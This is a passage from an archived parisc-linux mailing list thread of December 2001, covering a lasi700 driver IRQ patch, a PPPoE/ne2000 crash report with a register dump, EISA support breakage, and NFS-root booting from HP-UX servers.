	for <parisc-linux@parisc-linux.org>; Thu, 27 Dec 2001 13:23:10 -0700 (MST)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id fBRKN4g21408;
	Thu, 27 Dec 2001 14:23:04 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Helge Deller <helge.deller@sap.com> 
   of "Thu, 27 Dec 2001 17:12:08 +0100." <E16Jd8a-0000J5-00@linuxlab.wdf.sap-ag.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13485

This is a multipart MIME message.

--==_Exmh_-7787221390
Content-Type: text/plain; charset=us-ascii

As Grant says, its hard to debug this type of thing.  However, I do have a 
theory:  The free_irq() call in parisc doesn't do an irq shutdown (which 
disables the irq).  This looks like an omission, since I thought the 
behaviours of the arch irq.c's were all converging.  It is possible that an 
unhandled interrupt would cause the type of problem you describe

A simple test of the theory is to try the attached patch and see if that fixes 
the problem.  If that doesn't work, I'll try to reproduce (although this will 
take a while since I'll have to construct an NFS boot environment).

James




--==_Exmh_-7787221390
Content-Type: text/plain ; name="tmp.diff"; charset=us-ascii
Content-Description: tmp.diff
Content-Disposition: attachment; filename="tmp.diff"

Index: drivers/scsi/lasi700.c
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/lasi700.c,v
retrieving revision 1.5
diff -u -r1.5 lasi700.c
--- drivers/scsi/lasi700.c	2001/12/26 22:41:16	1.5
+++ drivers/scsi/lasi700.c	2001/12/27 20:20:59
@@ -195,6 +195,7 @@
 
 	NCR_700_release(host);
 	kfree(hostdata);
+	disable_irq(host->irq);
 	free_irq(host->irq, host);
 	release_mem_region(host->base, 64);
 	return 1;

--==_Exmh_-7787221390--





From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Thu, 27 Dec 2001 22:02:09 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <16JhbT-1jD9EmC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620889 32171 80.91.229.3 (22 Nov 2014 01:48:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:09 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 13:58:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9768482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 13:58:25 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout09.sul.t-online.de with smtp 
	id 16Jhba-0007XX-01; Thu, 27 Dec 2001 21:58:22 +0100
Original-Received: from there (320008472305-0001@[80.135.10.110]) by fwd05.sul.t-online.com
	with smtp id 16JhbT-1jD9EmC; Thu, 27 Dec 2001 21:58:15 +0100
X-Mailer: KMail [version 1.3.2]
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13486

Hi there,

I tried to install rp-pppoe on my 715/80, and it worked until one point, when 
I try to start the pppd and the box crashes instantly.

There is a massive stackdump or so, and I don't know how to catch it up and 
submit it :-(

perhaps it's a ppp problem.

Another strange thing is, that I succsessfully load the ne Module for my 
ne2000 ISA Adapter in my  715/80, but there's also a stackdump:

//------------------------------------

ne.c:v1.10 9/23/94 Donald Becker (becker@scyld.com)
Last modified Nov 1, 2000 by Paul Gortmaker
NE*000 ethercard probe at 0x320: 00 00 1c 10 84 86
eth1: NE2000 found at 0x320, using IRQ 5.
break 0,0: pid=101 command='keventd'
keventd (pid 101): Breakpoint (code 0)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 102bb010 00000000 00000000
r04-07  00000000 00000000 00000000 00000000
r08-11  00000000 00000000 00000000 00000000
r12-15  00000000 00000000 00000001 101224d8
r16-19  1bb405c0 00000002 00000000 1061de40
r20-23  1061de40 1034aa00 1034a980 1061de40
r24-27  1061de50 00001000 00000000 1027e010
r28-31  00000000 00000000 1bb40780 1012de88
sr0-3   00000000 00000000 00000000 00000153
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: 00000008
 CPU:        0   CR30: 1bb40000 CR31: 102f8000
 ORIG_R28: 00000000

//------------------------------------

Does anyone know what that means?
Any experiences?
Does anyone have a modem running on a parisc-box?

Hinrich.



From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] [Q] on EISA support
Date: Thu, 27 Dec 2001 23:45:56 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20011227234556.A7543@solo.franken.de>
References: <4.3.2.7.2.20011227103742.02a018e8@mira-sjc5-9.cisco.com> <3C2B6D56.1000507@cisco.com> <csuder@cisco.com> <20011227195930.446D54861@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620890 32173 80.91.229.3 (22 Nov 2014 01:48:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:10 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 15:48:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (p50845C4E.dip.t-dialin.net [80.132.92.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A2B7482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 15:48:36 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fBRMju607786;
	Thu, 27 Dec 2001 23:45:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011227195930.446D54861@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Dec 27, 2001 at 12:59:30PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13487

On Thu, Dec 27, 2001 at 12:59:30PM -0700, Grant Grundler wrote:
> Christian Suder wrote:
> > the entry is in the .config file. I'll try -pa27 later, there seem to be 
> > some issues with the -pa25 in general,
> 
> Yes - I broke dino (PCI) support in -pa25 when I re-enabled c3000 machines.
> I might have also broke EISA support but don't think so.

EISA is broken for ccio machines (ok, only checked on my C200), because
ccio requests memory space, which the eisa part wants too. I have it
"working" again, but the patch is definitly not for common use. The big
problem is, that ccio registers a primary and secondary memory space,
but ccio_find_parisc_resource() only gives back the resource for the
primary gsc space, which is the wrong one.

> Thomas fixed that in -pa26 (or pa27?).

-pa26

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting diskless Linux machine from HP-UX server !
Date: Fri, 28 Dec 2001 00:03:32 +0100
Organization: private
Lines: 28
Approved: news@gmane.org
Message-ID: <3C2BA8C4.3C1C2174@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620890 32176 80.91.229.3 (22 Nov 2014 01:48:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:10 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 16:03:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FC21482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 16:03:46 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011227230337.QKHP1239.viefep12-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 28 Dec 2001 00:03:37 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13488

Recently I tried to boot a Linux box (in my case it was a i386, but
the problem also exists for a PA-RISC box) from an HP-UX server (model
9000/856, the E55 running 11.00). The problem was, I could not mount
a NFS-Root for the Linux box.

I analysed the problem, and it seems to be a problem with the MOUNT
version (not mixed up with NFS version). Linux uses for normal mounts
MOUNT v3, for NFS ROOT mounts MOUNT v1, which does not include UID and
GID for example. The NFS Server on the HP-UX machine reports in the
log (activated to debug level), that the mount request does not include
UID. So the mount is rejected (EACCES). So I was not able to boot a
linux box using NFS ROOT from an HP-UX server, but I can boot any Linux
box (PA-RISC, i386) from a i386-Linux box.

I hope, you can help here. I think the problem is also interesting for
others, using a HP-UX machine as NFS server instead a Linux machine.

Bye,
Christoph


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Thu, 27 Dec 2001 22:47:22 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20011228054723.01E59482B@dsl2.external.hp.com>
References: <16JhbT-1jD9EmC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620890 32180 80.91.229.3 (22 Nov 2014 01:48:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:10 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: H_Aue@t-online.de (Hinrich Aue)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 22:47:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 01E59482B; Thu, 27 Dec 2001 22:47:22 -0700 (MST)
In-Reply-To: Message from H_Aue@t-online.de (Hinrich Aue) 
   of "Thu, 27 Dec 2001 22:02:09 +0100." <16JhbT-1jD9EmC@fwd05.sul.t-online.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13489

Hinrich Aue wrote:
> I tried to install rp-pppoe on my 715/80, and it worked until one point, when
> I try to start the pppd and the box crashes instantly.

I was running ppp over a regular 28.8Kbps dialup modem on the c3k.
Haven't tried it recently.
Can you tell me which kernel version (uname -a) you are using?
offhand, I'd suggesting trying the latest available from
	ftp://ftp.parisc-linux.org/kernels/32

grant



From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting diskless Linux machine from HP-UX server !
Date: Thu, 27 Dec 2001 23:03:30 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20011228060330.5FCDE482B@dsl2.external.hp.com>
References: <3C2BA8C4.3C1C2174@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620890 32184 80.91.229.3 (22 Nov 2014 01:48:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:10 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 23:03:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5FCDE482B; Thu, 27 Dec 2001 23:03:30 -0700 (MST)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Fri, 28 Dec 2001 00:03:32 +0100." <3C2BA8C4.3C1C2174@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13490

Christoph Plattner wrote:
> Recently I tried to boot a Linux box (in my case it was a i386, but
> the problem also exists for a PA-RISC box) from an HP-UX server (model
> 9000/856, the E55 running 11.00). The problem was, I could not mount
> a NFS-Root for the Linux box.

It was easier for me to abandon my HPUX NFS server a few years 
back than try to figure this out.

> I analysed the problem, and it seems to be a problem with the MOUNT
> version (not mixed up with NFS version). Linux uses for normal mounts
> MOUNT v3, for NFS ROOT mounts MOUNT v1, which does not include UID and
> GID for example. The NFS Server on the HP-UX machine reports in the
> log (activated to debug level), that the mount request does not include
> UID. So the mount is rejected (EACCES). So I was not able to boot a
> linux box using NFS ROOT from an HP-UX server, but I can boot any Linux
> box (PA-RISC, i386) from a i386-Linux box.

Once upon a time I had NFS root working with HPUX as my server.
Search mail archives in the 1999, early 2000 time frame.

Another basic problem is "mknod" on HPUX works differently than
it does for linux. You have to "cook" the mknod numbers to make them
look right to the parisc-linux client. Again, the parisc-linux mail
archives (soudn familiar? :^/) should be helpful here.

> I hope, you can help here. I think the problem is also interesting for
> others, using a HP-UX machine as NFS server instead a Linux machine.

We are trying to *replace* HPUX servers. ;^)
Obviously not for everything, but simple stuff like this...

grant



From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: DSL on a 715/80 with rp-pppoe (Hinrich Aue)
Date: Fri, 28 Dec 2001 07:50:19 +0100
Lines: 5
Approved: news@gmane.org
Message-ID: <16Jqmd-0NeTp2C@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620891 32190 80.91.229.3 (22 Nov 2014 01:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:11 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 23:46:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27048482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 23:46:38 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout06.sul.t-online.de with smtp 
	id 16Jqmp-00047J-01; Fri, 28 Dec 2001 07:46:35 +0100
Original-Received: from there (320008472305-0001@[217.228.107.233]) by fwd05.sul.t-online.com
	with smtp id 16Jqmd-0NeTp2C; Fri, 28 Dec 2001 07:46:23 +0100
X-Mailer: KMail [version 1.3.2]
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13491

I use the 2.4.16-pa24 Kernel from CVS.
I'll try the latest CVS Version soon.
Perhaps I'll try a Modem too, to see if it's a pppd problem or so.



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Justin Hamilton" <JHamilton@Earthling.Net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting diskless Linux machine from HP-UX server !
Date: Fri, 28 Dec 2001 02:05:55 -0500
Lines: 76
Approved: news@gmane.org
Message-ID: <LDEDJPMKHIOLPMHDAKLFCENJIMAA.JHamilton@Earthling.Net>
References: <20011228060330.5FCDE482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620891 32194 80.91.229.3 (22 Nov 2014 01:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:11 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 00:05:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (c007-h011.c007.snv.cp.net [209.228.33.217])
	by dsl2.external.hp.com (Postfix) with SMTP id 21C8A483C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Dec 2001 00:05:59 -0700 (MST)
Original-Received: (cpmta 6581 invoked from network); 27 Dec 2001 23:05:56 -0800
Original-Received: from 65.185.211.149 (HELO enterprise)
  by smtp.directvinternet.com (209.228.33.217) with SMTP; 27 Dec 2001 23:05:56 -0800
X-Sent: 28 Dec 2001 07:05:56 GMT
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20011228060330.5FCDE482B@dsl2.external.hp.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13492

I worked on a project booting i386 based nfs-root Linux boxes off hpux
servers.

Under 10.20 if you boot the same client twice, with no other clients booting
during the mean whilst, it would get permission denied the 1st time, but be
successful the 2nd.

Under 11.00 it would get permission denied every time.

I had a ticket open with HP on this at one time, then we moved the nfsroot
over to AIX and our problem was solved so I never followed up on it.

Also had problems with TFTP & DHCP servers on 11.00. With multiple IP's
assigned to a lan interface, the server responds from the last ifconfig'd IP
(i.e. lan1:2) , but then listens for a reply on the primary IP (i.e. lan1)
while the client is trying to use lan1:2's IP.
I think we just found a similar problem with another server daemon also.
Don't know those details.

Just my $0.02

Justin

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Grant
Grundler
Sent: Friday, December 28, 2001 1:04 AM
To: Christoph Plattner
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Booting diskless Linux machine from HP-UX
server !


Christoph Plattner wrote:
> Recently I tried to boot a Linux box (in my case it was a i386, but
> the problem also exists for a PA-RISC box) from an HP-UX server (model
> 9000/856, the E55 running 11.00). The problem was, I could not mount
> a NFS-Root for the Linux box.

It was easier for me to abandon my HPUX NFS server a few years
back than try to figure this out.

> I analysed the problem, and it seems to be a problem with the MOUNT
> version (not mixed up with NFS version). Linux uses for normal mounts
> MOUNT v3, for NFS ROOT mounts MOUNT v1, which does not include UID and
> GID for example. The NFS Server on the HP-UX machine reports in the
> log (activated to debug level), that the mount request does not include
> UID. So the mount is rejected (EACCES). So I was not able to boot a
> linux box using NFS ROOT from an HP-UX server, but I can boot any Linux
> box (PA-RISC, i386) from a i386-Linux box.

Once upon a time I had NFS root working with HPUX as my server.
Search mail archives in the 1999, early 2000 time frame.

Another basic problem is "mknod" on HPUX works differently than
it does for linux. You have to "cook" the mknod numbers to make them
look right to the parisc-linux client. Again, the parisc-linux mail
archives (soudn familiar? :^/) should be helpful here.

> I hope, you can help here. I think the problem is also interesting for
> others, using a HP-UX machine as NFS server instead a Linux machine.

We are trying to *replace* HPUX servers. ;^)
Obviously not for everything, but simple stuff like this...

grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: rmmod lasi700 hangs the machine
Date: Fri, 28 Dec 2001 11:23:37 +0100
Organization: SAP LinuxLab
Lines: 94
Approved: news@gmane.org
Message-ID: <E16JuAr-0001w8-00@linuxlab.wdf.sap-ag.de>
References: <200112272023.fBRKN4g21408@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620891 32197 80.91.229.3 (22 Nov 2014 01:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 28 03:23:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2069B482B
	for <parisc-linux@parisc-linux.org>; Fri, 28 Dec 2001 03:23:40 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id LAA01706;
